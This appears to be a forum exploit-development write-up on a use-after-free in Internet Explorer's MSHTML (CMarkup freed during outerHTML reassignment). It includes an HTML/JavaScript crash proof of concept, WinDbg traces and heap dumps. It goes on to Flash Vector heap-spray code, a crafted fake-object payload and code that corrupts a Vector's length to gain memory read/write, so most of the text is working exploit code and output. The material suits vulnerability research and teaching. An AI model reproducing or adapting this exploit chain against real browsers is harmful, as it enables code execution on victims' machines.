<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) {
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
var g_arr = [];
var arrLen = 0x250;
function fun()
{
var a=0;
// to alloc the memory
for(a=0;a<arrLen;++a)
{
g_arr[a]=document.createElement('div')
};
var b = dword2data(0x41414141);
while(b.length<0x360) b += dword2data(0x41414141);
var d=b.substring(0,(0x340-2)/2);
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
//to reuse the freed memory
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement('SELECT');
c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>
0:007> kv
ChildEBP RetAddr Args to Child
040bb2c8 66338d6a 03c18f94 040bb4a8 09b0c930 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16 (FPO: [0,0,0])
040bb338 6633949d 09b0c930 03be7810 03c186a0 MSHTML!CMarkup::NotifyElementEnterTree+0x277 (FPO: [Non-Fpo])040bb37c 66339311 03c186a0 03be7810 03c18fac MSHTML!CMarkup::InsertSingleElement+0x169 (FPO: [Non-Fpo])
040bb45c 66338fbd 09b0c930 03be7810 040bb4a8 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d (FPO: [Non-Fpo])
040bb480 66338f7f 03be7810 040bb4a8 040bb4b4 MSHTML!CMarkup::InsertElementInternal+0x2e (FPO: [Non-Fpo])
040bb4c0 66339088 03be7810 040bb5a8 040bb5a8 MSHTML!CDoc::InsertElement+0x9c (FPO: [Non-Fpo])
040bb588 660f4b62 00000000 040bb5a8 002fab68 MSHTML!InsertDOMNodeHelper+0x454 (FPO: [Non-Fpo])
040bb5f4 660f4a6c 03be7810 00000000 00000000 MSHTML!CElement::InsertBeforeHelper+0x92 (FPO: [Non-Fpo])
040bb654 660f511c 00000000 00000003 02fe9190 MSHTML!CElement::InsertBeforeHelper+0xe5 (FPO: [Non-Fpo])
040bb674 660f54a7 03be7810 00000001 00000000 MSHTML!CElement::InsertBefore+0x36 (FPO: [Non-Fpo])
040bb700 660f53c0 02fe9190 040bb740 00000002 MSHTML!CElement::Var_appendChild+0xcb (FPO: [Non-Fpo])
040bb730 6be63c04 07fe48d0 02000002 03a1a090 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55 (FPO: [Non-Fpo])
040bb798 6be403d2 07fe48d0 02000002 03a1a090 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 (FPO: [Non-Fpo])
040bb924 6be3f6d5 040bb930 039dc0bc 039d61c0 jscript9!Js::InterpreterStackFrame::Process+0xaab (FPO: [Non-Fpo])
040bba3c 06660fe1 040bba50 040bbbd4 6be40d0c jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x305 (FPO: [Non-Fpo])
0:007> dd edx
09b0c930 41414141 41414141 41414141 41414141
09b0c940 41414141 41414141 41414141 41414141
09b0c950 41414141 41414141 41414141 41414141
09b0c960 41414141 41414141 41414141 41414141
09b0c970 41414141 41414141 41414141 41414141
09b0c980 41414141 41414141 41414141 41414141
09b0c990 41414141 41414141 41414141 41414141
09b0c9a0 41414141 41414141 41414142 c1414142
MSHTML!CMarkup::UpdateMarkupContentsVersion:
661470ac 8b427c mov eax,dword ptr [edx+7Ch] //the edx is freed then reused.
661470af 40 inc eax
661470b0 0d00000080 or eax,80000000h
661470b5 89427c mov dword ptr [edx+7Ch],eax
661470b8 8b82ac000000 mov eax,dword ptr [edx+0ACh]
661470be 85c0 test eax,eax
661470c0 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (661470c5)
661470c2 ff4010 inc dword ptr [eax+10h] ds:0023:41414151=????????
!heap -p -a edx
address 09b0c930 found in
_HEAP @ 220000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
09b0c918 006d 0000 [00] 09b0c930 00340 - (busy)
76e6ddac ntdll!RtlAllocateHeap+0x00000274
65f99ecc MSHTML!CAttrArray::Set+0x000003ab
65f11f3d MSHTML!CAttrArray::Set+0x00000037
66031ff5 MSHTML!CAttrArray::SetString+0x00000041
6651f46b MSHTML!BASICPROPPARAMS::SetString+0x00000030
66493aad MSHTML!BASICPROPPARAMS::SetStringProperty+0x0000048a
66339a5d MSHTML!CBase::put_StringHelper+0x0000005e
661dc63d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000076
!heap -p -a poi(esp+4)
address 064e3e90 found in
_HEAP @ 440000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
064e3e78 006d 0000 [00] 064e3e90 00340 - (busy)
MSHTML!CMarkup::`vftable'
76e6ddac ntdll!RtlAllocateHeap+0x00000274
6183fd3e MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f
61998028 MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
61aee15c MSHTML!CElement::GetDOMInsertPosition+0x000001c0
61994b4e MSHTML!CElement::InsertBeforeHelper+0x0000007e
61994a6c MSHTML!CElement::InsertBeforeHelper+0x000000e5
6199511c MSHTML!CElement::InsertBefore+0x00000036
619954a7 MSHTML!CElement::Var_appendChild+0x000000cb
619953c0 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x00000055
.text:6365FD23 loc_6365FD23: ; CODE XREF: CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+2FA34j
.text:6365FD23 ; CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+A8B9AEj
.text:6365FD23 test esi, esi
.text:6365FD25 jz loc_640EB827
.text:6365FD2B push 340h ; dwBytes
.text:6365FD30 push 8 ; dwFlags
.text:6365FD32 push _g_hProcessHeap ; hHeap
.text:6365FD38 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:6365FD3E test eax, eax
.text:6365FD40 jz loc_640EB81C
.text:6365FD46 push dword ptr [ebx+1Ch]
.text:6365FD49 push esi
.text:6365FD4A mov esi, eax
.text:6365FD4C call ??0CMarkup@@QAE@PAVCSecurityContext@@H@Z ; CMarkup::CMarkup(CSecurityContext *,int)
03aaa05c 76afc3c4 01610000 00000000 056b4600 ntdll!RtlFreeHeap (FPO: [Non-Fpo])
03aaa070 66014bb5 01610000 00000000 056b4600 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
03aaa088 65f035f7 00000001 65f0366d 03aaa310 MSHTML!CMarkup::`vector deleting destructor'+0x26 (FPO: [Non-Fpo])
03aaa090 65f0366d 03aaa310 056b4600 0170aa20 MSHTML!CBase::SubRelease+0x2e (FPO: [0,0,0])
03aaa0a4 65f8beae 056b4600 00000000 03aaa224 MSHTML!CBase::PrivateRelease+0x7f (FPO: [Non-Fpo])
03aaa0b4 6613191d 056b4600 00000044 046931c0 MSHTML!CMarkup::Release+0x2d (FPO: [Non-Fpo])
03aaa224 66132078 0170aa20 00000005 056b4600 MSHTML!InjectHtmlStream+0x6f9 (FPO: [Non-Fpo])
03aaa264 66132141 03aaa2c8 03aaa310 0170ff54 MSHTML!HandleHTMLInjection+0x82 (FPO: [Non-Fpo])
03aaa358 66124b4c 00000001 0170ff54 00000022 MSHTML!CElement::InjectInternal+0x521 (FPO: [Non-Fpo])
03aaa3cc 662ece26 016ea9a0 00000001 00000001 MSHTML!CElement::InjectTextOrHTML+0x1a4 (FPO: [Non-Fpo])
03aaa3e8 662ecde5 016ea9a0 0170ff54 02cece90 MSHTML!CElement::put_outerHTML+0x1d (FPO: [Non-Fpo])
03aaa410 6bed3c04 05d02360 02000002 0586a090 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54 (FPO: [Non-Fpo])
this.s = new Vector.<Object>(0x18180);
while (len < 0x18180)
{
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16); ///3f0
for (i=0; i < this.s[len].length; i++)
{
this.s[len][i] = 0x1a1a1a1a;
}
++len;
}
19fff000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a000000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a001000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a002000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a003000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a004000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
1a005000 000003f0 075be000 1a1a1a1a 1a1a1a1a ......[.........
/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.<Object>(0x100);
len = 0;
while (len < 0x100)
{
this.spraysound[len] = new Vector.<Object>(0x1234);
for (i=0; i < this.spraysound[len].length; i++)
{
this.spraysound[len][i] = this.sound;
}
++len;
}
:007> s -d 0x10000000 L?0x10000000 0x1234
26890024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
26895024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
2689a024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
2689f024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
268a4024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
268a9024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
268ae024 00001234 266f7021 266f7021 266f7021 4...!po&!po&!po&
var b = dword2data(0x19fffff3);
while (b.length < 0x360)
{
// mov eax,dword ptr [esi+98h]
// ...
// mov eax,dword ptr [eax+8]
// and dword ptr [eax+2F0h],0FFFFFFBFh
if (b.length == (0x98 / 2))
{
b += dword2data(0x1a000010);
}
// mov ecx,dword ptr [edx+94h]
// mov eax,dword ptr [ecx+0Ch]
else if (b.length == (0x94 / 2))
{
b += dword2data(0x1a111111);
}
// mov eax,dword ptr [edx+15Ch]
// mov ecx,dword ptr [eax+edx*8]
else if (b.length == (0x15c / 2))
{
b += dword2data(0x42424242);
}
else
{
b += dword2data(0x19fffff3);
}
}
var d = b.substring(0, ( 0x340 - 2 )/2);
6b1a944a 8b82ac000000 mov eax,dword ptr [edx+0ACh]
...
6b1a9454 ff4010 inc dword ptr [eax+10h]
for (j=0; j < this.s.length; j++)
{
if (this.s[index][j] == 0x000003F0)
{
this.s[index][j] = 0x3FFFFFFF;
return j;
}
j = j + 1;
}
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
上传的附件：
